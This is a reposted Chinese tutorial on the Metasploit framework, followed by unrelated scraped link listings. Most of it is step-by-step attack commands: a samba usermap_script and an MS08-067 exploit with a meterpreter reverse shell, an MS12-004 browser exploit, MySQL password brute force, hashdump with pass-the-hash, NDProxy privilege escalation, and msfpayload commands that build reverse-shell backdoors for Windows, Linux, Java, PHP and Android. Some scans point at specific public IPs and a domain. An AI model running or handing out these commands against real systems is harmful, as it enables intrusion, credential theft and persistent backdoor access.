渗透神器漏洞利用框架metasploit

from: https://zhuanlan.zhihu.com/p/30743401

metasploit是一款开源的渗透测试框架软件也是一个逐步发展与成熟的漏洞研究与渗透代码开发平台

metasploit体系如下:

基础库文件(Libraris):提供了核心框架和一些基础功能的支持

模块(Modules):实现渗透测试功能的主体代码

插件(Plugins):将外部的集成工具集成到框架中

用户接口(Interface)和功能程序(Utilities):集成模块与插件的渗透测试功能

1.基础库文件

位于源码根目录下的libraries目录中。

Rex:基础组件网络套接字,网络应用协议客户端与服务端实现、日志子系统、渗透攻击例程、数据库支持

core负责实现与各种类型的上层模块及插件的交互接口

base库扩展了core,提供更简单的包装例程支持用户接口与功能程序调用框架功能及集成模块

2.模块

辅助模块(Aux):网络服务的扫描查点、口令猜解、敏感信息嗅探、Fuzz测试发掘漏洞、网络协议欺骗

渗透攻击模块(Exploits)

后渗透攻击模块(Post)

攻击载荷模块(Payloads)

空指令模块(Nops)

编码器模块(Encoders)

3.插件

将Nmap、Neuss等功能集成到metasploit中

4.接口

msfconsle控制台终端

msfcli命令行

msfgui图形化界面

armitage图形化界面

msfapi远程调用接口

5.功能程序

一系列可以直接运行的程序功能,支持安全研究员快速的利用Metasploit框架内部能力完成一些特定功能


console的使用

service postgresql start //先连接数据库

msfconsole //打开框架

msf>help //显示msf所支持的命令列表

msf>help search //显示关于search参数的命令和使用

实例入侵metasploitable靶机

1.search samba搜索模块

2.use multi/samba/usermap_script 使用模块

3.show payloads查看可用的载荷

4.set payload cmd/unix/bind_netcat 使用载荷

5.show options 选择载荷可用选项

6.set RHOST 192.168.0.94 设置载荷的攻击目标IP

7.exploit执行渗透攻击

然后攻击成功会建立一个会话,返回一个可交互的shell

这就是使用metasploit渗透的一个常规流程

靶机环境:

1.OWASP DVWA http://101.200.44.127/DVWA/login.php  (登录名admin密码password)2.Linux metasploitable https://sourceforge.net/projects...es/Metasploitable2/

metasploit使用ms12-020使03服务器蓝屏(视屏)

网络服务渗透攻击面

Windows平台根据网络服务攻击面的类别来分,可分为三大类

1.针对Windows系统自带网络服务的渗透攻击

NetBios:UDP137、138、TCP139,MS03-034 
SMB(服务器消息快):TCP445、NBT间接用TCP139接收数据,MS10-012、MS10-054 MSRPC(微软远程过程调用):TCP139、445,MS05-039、MS09-026、
MS08-067 RDP(远程桌面):TCP3389,MS12-020

2.针对Windows系统上微软网络服务的渗透攻击

IIS,MS08-062、MS09-053、MS10-040 MS SQL xp_cmdshell DNS,MS07-029  

3.针对Windows系统上第三方网络服务的渗透攻击

Apache Tomcat  MYSQL
用Exploit利器mona.py绕过Windows 7下的DEP+ASLR安全组合。
经典案例漏洞,MS06-040,MS07-029,MS08-067、MS11-058、MS12-020

如何使用攻击载荷模块

1.查看载荷信息

info windows/exec  //假设要查看这个载荷的信息 

2.管理攻击载荷模块的

Shellcode msfpayload windows/exec CMD=dir C
//导出成C语言数组的完整Shellcode。

3.查看Shellcode汇编代码

msfpayload windows/exec CMD=dir R|ndisasm-u-

升级和更新

获取新的攻击代码。

进入框架目录更新

cd /usr/share/metasploit-framework/
./msfupdate

端口扫描

一、调用nmap扫描

开启msfconsole后,直接nmap -v -sV 101.200.44.127

二、MSF扫描模块--use auxiliary/scanner/portscan/syn

search portscan  //搜索端口扫描模块
use auxiliary/scanner/portscan/syn //使用syn扫描模块
show options //显示模块可操作选项
set .... //设置具体选项
run //开始扫描,运行

SMB扫描获取系统信息

use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1-200 //可以设置单个IP或者范围
set THREADS 10 //设置线程

服务识别

SSH

use auxiliary/scanner/ssh/ssh_version
show options
set RHOSTS 192.168.0.10 //设置多个ip 192.168.0.11 192.168.0.55
run

FTP

use auxiliary/scanner/ftp/ftp_version
set RHOSTS *
run

密码嗅探

use auxiliary/sniffer/psnuffle
run //可以嗅探FTP

SNMP扫描与枚举

search SNMP
use auxiliary/scanner/snmp/snmp_login
show options
set RHOSTS *

枚举

use auxiliary/scanner/snmp/snmp_enum
set RHOST *
sert THREADS 10
run

SMB登录验证

use auxiliary/scanner/smb/smb_lo
show options
set RHOSTS *
set SMBuser administrator
set THREADS 10
run

VNC身份认证

use auxiliary/scanner/vnc/vnc_none_auth
show options
set RHOSTS *
set THREADS 50
run

WMAP(轻量级测试工具,检测常见的Web漏洞)

service postgresql start //先启动数据库
msfconsole //再启动msf
db_status //msf下输入,查看数据库状态 msfdb init可以初始化数据库
load wmap //载入wmap
wmap_targets -h //查看帮助
wmap_sites -a http://www.51xkx.cn //添加URL
wmap_sites -l //查看配置的URL
wmap_targets -t http://121.42.88.105 //添加url对应的IP
wmap_targets -l //查看是否写入成功
wmap_run -h //查看运行选项
wmap_run -t //选择运行方式,加载
wmap_run -e //开始测试
wmap_vulns -l //扫描完成后查看结果

远程代码执行

search 08-067  (Win 2003、xp)
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST *
show payloads //查看可用攻击载荷
set payload windows/meterpreter/reverse_tcp
show options
set LHOST * // 设置本机IP,如果是攻击外网,本身必须是外网ip
info 或者show targets //查看一下版本信息
set target 17 //设置目标版本信息 (只有08-067不能自动识别版本号,其他的可以自动获取)
show options //检查设置
exploit //开始攻击
shell //获取对方cmd-shell

MIDI文件解析远程代码执行

影响范围win2003、winxp、win7
search 12-004
use exploit /windows/browser/ms12_004_midi
show options
set SRVHOST * //设置本机IP
set URIPATH / //把网址后缀改成'/'
exploit //start exploit
sessions //查看会话
sessions -i 1 //连接会话
shell //连接shell

口令安全

search mysql_login //搜索mysql登录破解利用模块 ssh等可以登陆的也行
use auxiliary/scanner/mysql/mysql_login
show options
set RHOSTS 127.0.0.1*
set USERNAME root
set PASS_FILE /root/1.txt
set THREADS 50
exploit

Hash值传递渗透

1.在不知道密码的情况下

获得meterprete后

meterpreter>hashdump
set smbpass 获取到的hash值

2.在知道密码的情况下

直接登录就行

NDProxy内核提权

获取meterpreter情况下,权限小,用这个洞来提升权限

search 14-002
use exploit/windows/local/ms_ndproxy
show options
set session 1 //选择会话
exploit
getuid //查看当前权限
getsystem //这个命令也可以用来提取

多种后门生成

metasploit可以生成多钟后门

windows
Linux msfpayload linux/x86/shell_reverse_tcp LHOST=* LPORT=* x>linux
Java msfpayload java/meterpreter/reverse_tvp LHOST=* LPORT=* w>123.jar
php 
(msfpayload php/meterpreter/reverse_tcp LHOST=* LPORT=* R | msfencode -e php/base64 -t raw -o 123.php)
asp
aspx
Android
msfpayload android/meterpreter/reverse_tcp LHOST=* LPORT=* R >1.apk

msfpayload windows/meterpreter/reverse_tcp LHOST=本地ip
LPORT=1234 x >123.exe //生成后门攻击载荷
ls //查看生成后门所在当前文件夹
在msf监听
search handler
use exploit/multi/handler
show options
set payload windows/meterpreter/reverse_tcp
set LHOST *
set LPORT 1234
exploit

目标运行后门后,会反弹shell

内网渗透

免杀payload

玩转不一样的XSS

维持访问

metasploit 一款开源的渗透测试框架的更多相关文章

  1. 自动化移动安全渗透测试框架:Mobile Security Framework

    自动化移动安全渗透测试框架:Mobile Security Framework 译/Sphinx  测试开发社区  7月3日 Mobile Security Framework (移动安全框架) 是一 ...

  2. Web应用渗透测试框架Arachni

    Web应用渗透测试框架Arachni   Arachni是一款Ruby语言编写的Web应用渗透测试框架.当用户指定目标后,该框架可以自动扫描网站页面,对页面中的链接.表单.Cookie.HTTP He ...

  3. PJzhang:漏洞渗透测试框架“天使之剑(AngelSword)”

    猫宁!!! 参考链接: www.phpinfo.cc/?post=42 https://www.freebuf.com/sectool/149883.html 同事介绍了一款渗透测试框架AngelSw ...

  4. (一)走进Metasploit渗透测试框架

    渗透测试的流程 渗透测试是一种有目的性的,针对目标机构计算机系统安全的检测评估方法,渗透测试的主要目的是改善目标机构的安全性.渗透测试各个阶段的基本工作: 1.前期交互阶段 在这个阶段,渗透测试工程师 ...

  5. 消灭Bug!十款免费移动应用测试框架推荐

      对于移动应用开发者而言,Bug往往是最让人头疼的一大问题.不同于时时刻刻可以修补的Web App,移动App中的Bug往往隐藏得很深,甚至有时候等到用户使用才显现出来,这么一来开发者搞不好就会赔了 ...

  6. MobSF移动渗透测试框架

    1.https://github.com/MobSF/Mobile-Security-Framework-MobSF/wiki/1.-Documentation 2.http://www.freebu ...

  7. Galileo:一款开源Web应用审计框架

    转载自FreeBuf.COM Galileo是一款针对Web应用程序的开源渗透测试工具,可帮助开发和渗透测试人员识别并利用其Web应用程序中的漏洞. 截图 安装 $ git clone https:/ ...

  8. Linux下安装渗透测试框架Metasploit

    我们先来说一种方法,直接从github来下载: git clone --depth=1 git://github.com/rapid7/metasploit-framework metasploit ...

  9. HackPorts – Mac OS X 渗透测试框架与工具

    HackPorts是一个OS X 下的一个渗透框架. HackPorts是一个“超级工程”,充分利用现有的代码移植工作,安全专业人员现在可以使用数以百计的渗透工具在Mac系统中,而不需要虚拟机. 工具 ...

随机推荐

  1. linux下的短延迟

    nanosleep,sleephttps://www.jianshu.com/p/42abcc2c9e50

  2. fineui 实现下拉框模糊查询

    官网下拉框模糊查询只能实现首字母模糊匹配,如果实现类似这样的 like '%'+关键字+'%',却没有. 今天群里的没想好同学分享了,前后模糊匹配代码.   代码示例: <body>   ...

  3. Mesh网格简化

    Mesh简化算法: 1. 通过mesh简化,可以将一个多边形的网格A转化成另一个网格B 网格B相比A,有更少的三角形面.边.顶点. 2. 简化的过程是受到一定的约束的.会有一系列自定义的质量标准来控制 ...

  4. C++中const限定符

    const基础 C++中的const,用于定义一个常量,这个常量的值不能被修改.因为const对象一旦创建就不能修改,所以const对象必须初始化.const常量特征仅仅在执行改变其本身的操作时才会发 ...

  5. Django框架第七篇(模型层)--多表操作:一对多/多对多增删改,跨表查询(基于对象、基于双下划线跨表查询),聚合查询,分组查询,F查询与Q查询

    一.多表操作 一对多字段的增删改(book表和publish表是一对多关系,publish_id字段) 增  create publish_id 传数字   (publish_id是数据库显示的字段名 ...

  6. C语言:求π

    1835: 圆的面积 本题的关键在于如何求π: 今天先给给大家介绍一种针对本题的方法——利用反三角函数求π. 在高数中arcsin(0)=arccos(1)=π,不过编译器中并没有arcsin和arc ...

  7. golang(二)

    基本结构和基本数据类型 指针 不像 Java 和 .NET,Go 语言为程序员提供了控制数据结构的指针的能力:但是,你不能进行指针运算.通过给予程序员基本内存布局,Go 语言允许你控制特定集合的数据结 ...

  8. Python-MySQL学习

    内容来源(有删改):https://blog.csdn.net/hzw6991/article/details/87893761 上面链接同步视频地址:https://www.bilibili.com ...

  9. PHP的序列化、对象、反射、异常与错误

    1. 怎么理解php里面的序列化与反序列化? 序列化是将对象转换为字节流.反序列化就是将流转换为对象. 这两个过程结合起来,可以轻松地存储和传输数据,在网络中可以做到跨平台.快速传输. 两种序列化方式 ...

  10. java之spring mvc之拦截器

    1. springmvc 中的拦截器是由实现 HandlerInterceptor 或者继承 HandlerInterceptorAdapter 来实现的. 2. 自定义实现一个拦截器的步骤: a). ...